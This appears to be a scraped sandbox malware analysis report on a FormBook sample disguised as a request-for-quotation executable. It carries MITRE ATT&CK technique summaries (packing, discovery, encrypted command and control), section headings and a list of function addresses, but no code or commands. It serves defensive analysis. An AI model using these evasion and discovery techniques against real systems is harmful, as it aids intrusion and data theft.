Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Function 00418660, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Function 004185B0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Function 00418790, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Function 004186E0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Function 004186DD, Relevance: 1.5, APIs: 1, Instructions: 18
nativeCOMMON

Function 00A59860, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Function 00A596E0, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Function 00A59660, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Function 004088C0, Relevance: .1, Instructions: 92
COMMON

Function 004188B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40
memoryCOMMON

Function 00418880, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Function 004188C0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Function 00A5967A, Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Function 00AD1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Function 00A4C9BF, Relevance: 14.2, Strings: 11, Instructions: 412
COMMON

Function 00AD4AEF, Relevance: 11.8, Strings: 9, Instructions: 529
COMMONCrypto

Function 00AD4496, Relevance: 10.4, Strings: 8, Instructions: 417
COMMONCrypto

Function 00A32990, Relevance: 9.3, Strings: 7, Instructions: 521
COMMONCrypto

Function 00A478A0, Relevance: 8.5, Strings: 6, Instructions: 989
COMMON

Function 00A3A309, Relevance: 8.2, Strings: 6, Instructions: 687
COMMONCrypto

Function 00A32D50, Relevance: 7.9, Strings: 6, Instructions: 397
COMMONCrypto

Function 00AD2D82, Relevance: 7.7, Strings: 6, Instructions: 228
COMMONCrypto

Function 00A4CCC0, Relevance: 7.7, Strings: 6, Instructions: 218
COMMON

Function 00A68BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657
COMMONLIBRARYCODECrypto

Function 00A32430, Relevance: 6.7, Strings: 5, Instructions: 461
COMMONCrypto

Function 00AA64B5, Relevance: 6.4, Strings: 5, Instructions: 116
COMMON

Function 00A140E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Function 00A4701D, Relevance: 5.6, Strings: 4, Instructions: 569
COMMONCrypto

Function 00AA34A0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Function 00A33360, Relevance: 5.4, Strings: 4, Instructions: 355
COMMONCrypto

Function 00A3A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Function 00A3D1EF, Relevance: 5.2, Strings: 4, Instructions: 211
COMMON

Function 00A3A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Function 00A399BF, Relevance: 4.3, Strings: 3, Instructions: 572
COMMONCrypto

Function 00A3B477, Relevance: 4.2, Strings: 3, Instructions: 405
COMMONCrypto

Function 004162B6, Relevance: 4.0, Strings: 3, Instructions: 297
COMMON

Function 00A262A0, Relevance: 4.0, Strings: 3, Instructions: 291
COMMON